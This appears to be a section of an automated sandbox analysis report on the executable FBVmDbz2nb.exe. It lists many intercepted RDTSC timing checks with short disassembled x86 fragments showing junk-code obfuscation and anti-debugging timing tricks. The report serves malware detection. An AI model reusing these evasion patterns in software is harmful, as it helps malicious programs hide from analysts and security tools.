Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: D7F6E0 second address: D7F72B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F8784D6226Eh 0x0000000b jmp 00007F8784D62271h 0x00000010 jmp 00007F8784D62277h 0x00000015 popad 0x00000016 je 00007F8784D62274h 0x0000001c jc 00007F8784D6226Eh 0x00000022 push eax 0x00000023 push edx 0x00000024 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: DD89BF second address: DD89C3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: DD89C3 second address: DD89C7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: DD89C7 second address: DD89CD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: DDB072 second address: DDB078 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: DDC24A second address: DDC24E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: DDED8B second address: DDED91 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: DDC24E second address: DDC26B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F8784B30561h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: DD79FE second address: DD7A02 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: DDED91 second address: DDED96 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: DDC26B second address: DDC26F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: DDED96 second address: DDED9C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: DD7A02 second address: DD7A23 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F8784D62275h 0x0000000b popad 0x0000000c push eax 0x0000000d pushad 0x0000000e push edi 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: DDC26F second address: DDC275 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: DDD054 second address: DDD0D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 mov dword ptr [esp], eax 0x00000009 mov edi, ebx 0x0000000b push dword ptr fs:[00000000h] 0x00000012 push 00000000h 0x00000014 push esi 0x00000015 call 00007F8784D62268h 0x0000001a pop esi 0x0000001b mov dword ptr [esp+04h], esi 0x0000001f add dword ptr [esp+04h], 0000001Dh 0x00000027 inc esi 0x00000028 push esi 0x00000029 ret 0x0000002a pop esi 0x0000002b ret 0x0000002c add dword ptr [ebp+1245A88Dh], edi 0x00000032 mov dword ptr fs:[00000000h], esp 0x00000039 pushad 0x0000003a mov ecx, 44829F9Ch 0x0000003f xor dword ptr [ebp+1244F2E7h], edi 0x00000045 popad 0x00000046 mov eax, dword ptr [ebp+122D1595h] 0x0000004c movzx ebx, di 0x0000004f push FFFFFFFFh 0x00000051 pushad 0x00000052 mov dword ptr [ebp+122D3934h], edi 0x00000058 jc 00007F8784D62272h 0x0000005e jmp 00007F8784D6226Ch 0x00000063 popad 0x00000064 push eax 0x00000065 push eax 0x00000066 push edx 0x00000067 js 00007F8784D62268h 0x0000006d push ebx 0x0000006e pop ebx 0x0000006f rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: DDC275 second address: DDC27F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnp 00007F8784B30556h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: DDD0D5 second address: DDD0DB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: DDDF8D second address: DDDFA3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F8784B30562h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: DDFD8D second address: DDFD91 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: DDDFA3 second address: DDDFB5 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F8784B30556h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: DDDFB5 second address: DDDFBC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: DDFEE8 second address: DDFEEC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: DE8CBD second address: DE8CDC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8784D62278h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: DEC584 second address: DEC5A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jmp 00007F8784B3055Fh 0x0000000b push edi 0x0000000c pop edi 0x0000000d popad 0x0000000e popad 0x0000000f push eax 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: DEC5A3 second address: DEC5A7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: DEC5A7 second address: DEC5B0 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: DEC5B0 second address: DEC5F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 popad 0x00000008 mov eax, dword ptr [esp+04h] 0x0000000c push ebx 0x0000000d jmp 00007F8784D62274h 0x00000012 pop ebx 0x00000013 mov eax, dword ptr [eax] 0x00000015 pushad 0x00000016 jp 00007F8784D62268h 0x0000001c push eax 0x0000001d push edx 0x0000001e jmp 00007F8784D62275h 0x00000023 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: D7DC12 second address: D7DC2F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 jmp 00007F8784B3055Fh 0x0000000d popad 0x0000000e pushad 0x0000000f push ecx 0x00000010 pop ecx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: DF485F second address: DF4868 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: DF3B13 second address: DF3B1F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 jnp 00007F8784B30556h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: DF3B1F second address: DF3B29 instructions: 0x00000000 rdtsc 0x00000002 js 00007F8784D62266h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: DF3C9A second address: DF3CAC instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jp 00007F8784B3055Ch 0x0000000c rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: DF3CAC second address: DF3CC1 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F8784D62268h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jg 00007F8784D6226Eh 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: DF3E13 second address: DF3E2B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8784B30561h 0x00000009 push esi 0x0000000a pop esi 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: DF3F6B second address: DF3F92 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8784D6226Eh 0x00000007 jnp 00007F8784D62270h 0x0000000d jmp 00007F8784D6226Ah 0x00000012 pop edx 0x00000013 pop eax 0x00000014 pushad 0x00000015 push eax 0x00000016 push edx 0x00000017 pushad 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: DF4682 second address: DF469F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8784B30563h 0x00000009 popad 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: DF469F second address: DF46CC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8784D6226Eh 0x00000009 jmp 00007F8784D62273h 0x0000000e popad 0x0000000f pop edi 0x00000010 pushad 0x00000011 push eax 0x00000012 pushad 0x00000013 popad 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: DF46CC second address: DF46E5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pushad 0x00000006 jnl 00007F8784B30556h 0x0000000c push ecx 0x0000000d pop ecx 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 jc 00007F8784B30556h 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: DF46E5 second address: DF46E9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: DFA91C second address: DFA936 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F8784B30556h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b jnp 00007F8784B30556h 0x00000011 jng 00007F8784B30556h 0x00000017 pushad 0x00000018 popad 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: DFA936 second address: DFA93B instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: DF95D3 second address: DF95D7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: DF95D7 second address: DF95E1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: DF95E1 second address: DF95E5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: DF95E5 second address: DF95F9 instructions: 0x00000000 rdtsc 0x00000002 js 00007F8784D62266h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push ecx 0x0000000c jbe 00007F8784D6226Ch 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: DF9861 second address: DF9873 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jc 00007F8784B30556h 0x00000010 push edi 0x00000011 pop edi 0x00000012 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: DF9873 second address: DF9890 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 jmp 00007F8784D62277h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: DF9890 second address: DF98AF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8784B3055Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c pushad 0x0000000d popad 0x0000000e jns 00007F8784B30556h 0x00000014 pop eax 0x00000015 pushad 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: DF98AF second address: DF98CE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8784D6226Fh 0x00000009 jmp 00007F8784D6226Bh 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: DF98CE second address: DF98DD instructions: 0x00000000 rdtsc 0x00000002 jng 00007F8784B30558h 0x00000008 push ecx 0x00000009 push edx 0x0000000a pop edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: DF9CB5 second address: DF9CBA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: DF9CBA second address: DF9CDE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8784B3055Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F8784B3055Dh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: DF9CDE second address: DF9CF5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F8784D6226Eh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: DF9CF5 second address: DF9D0E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007F8784B30556h 0x0000000a jmp 00007F8784B3055Eh 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: DFA016 second address: DFA01A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: DFA01A second address: DFA01E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: DFA176 second address: DFA184 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F8784D62266h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: DFA184 second address: DFA188 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: DFEC5E second address: DFEC62 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: DFEC62 second address: DFEC72 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8784B3055Ch 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: DFEC72 second address: DFEC82 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 jnc 00007F8784D62266h 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: DFEC82 second address: DFECA0 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push edi 0x00000004 pop edi 0x00000005 jmp 00007F8784B30560h 0x0000000a pop edx 0x0000000b jnp 00007F8784B3055Ch 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: DFEF6D second address: DFEF73 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: DFEF73 second address: DFEF7C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: DFEF7C second address: DFEF80 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: DFEF80 second address: DFEFAE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 jl 00007F8784B3057Bh 0x0000000d jmp 00007F8784B30569h 0x00000012 js 00007F8784B3055Ch 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: DFF130 second address: DFF141 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8784D6226Dh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: DFF296 second address: DFF29C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: DFF29C second address: DFF2A4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: DFF3F4 second address: DFF405 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8784B3055Dh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: DFF827 second address: DFF833 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F8784D62266h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: DFF833 second address: DFF865 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 jmp 00007F8784B30569h 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F8784B3055Bh 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: DFF865 second address: DFF869 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: DFF869 second address: DFF8A3 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F8784B30556h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b jne 00007F8784B30556h 0x00000011 jmp 00007F8784B30567h 0x00000016 jmp 00007F8784B30561h 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: DFF8A3 second address: DFF8AD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnp 00007F8784D62266h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: DFFAF6 second address: DFFB01 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ebx 0x00000006 pushad 0x00000007 popad 0x00000008 pushad 0x00000009 popad 0x0000000a pop ebx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: DFE9C4 second address: DFE9CA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: E04BA9 second address: E04BBE instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jg 00007F8784B30556h 0x0000000d pushad 0x0000000e popad 0x0000000f popad 0x00000010 push edi 0x00000011 pushad 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: D89A01 second address: D89A06 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: D89A06 second address: D89A2A instructions: 0x00000000 rdtsc 0x00000002 jo 00007F8784B3055Ah 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b pop eax 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 jo 00007F8784B30556h 0x00000017 jg 00007F8784B30556h 0x0000001d pushad 0x0000001e popad 0x0000001f popad 0x00000020 push eax 0x00000021 push edx 0x00000022 push eax 0x00000023 pop eax 0x00000024 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: D89A2A second address: D89A30 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: DCBF7A second address: DCBFF3 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F8784B30556h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b mov dword ptr [esp], eax 0x0000000e push 00000000h 0x00000010 push ecx 0x00000011 call 00007F8784B30558h 0x00000016 pop ecx 0x00000017 mov dword ptr [esp+04h], ecx 0x0000001b add dword ptr [esp+04h], 00000018h 0x00000023 inc ecx 0x00000024 push ecx 0x00000025 ret 0x00000026 pop ecx 0x00000027 ret 0x00000028 movsx edi, ax 0x0000002b pushad 0x0000002c mov esi, dword ptr [ebp+1244F285h] 0x00000032 stc 0x00000033 popad 0x00000034 lea eax, dword ptr [ebp+12487CB0h] 0x0000003a push 00000000h 0x0000003c push edi 0x0000003d call 00007F8784B30558h 0x00000042 pop edi 0x00000043 mov dword ptr [esp+04h], edi 0x00000047 add dword ptr [esp+04h], 00000016h 0x0000004f inc edi 0x00000050 push edi 0x00000051 ret 0x00000052 pop edi 0x00000053 ret 0x00000054 mov dword ptr [ebp+1244F308h], eax 0x0000005a nop 0x0000005b pushad 0x0000005c jmp 00007F8784B30560h 0x00000061 pushad 0x00000062 push eax 0x00000063 push edx 0x00000064 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: DCBFF3 second address: DCC017 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 popad 0x00000008 push eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F8784D62278h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: DCC017 second address: DCC025 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jg 00007F8784B30556h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: DCC025 second address: DA7927 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F8784D62266h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b nop 0x0000000c mov ecx, dword ptr [ebp+122D2E9Fh] 0x00000012 mov edi, esi 0x00000014 call dword ptr [ebp+122D2EA5h] 0x0000001a push eax 0x0000001b push edx 0x0000001c jmp 00007F8784D62276h 0x00000021 rdtsc
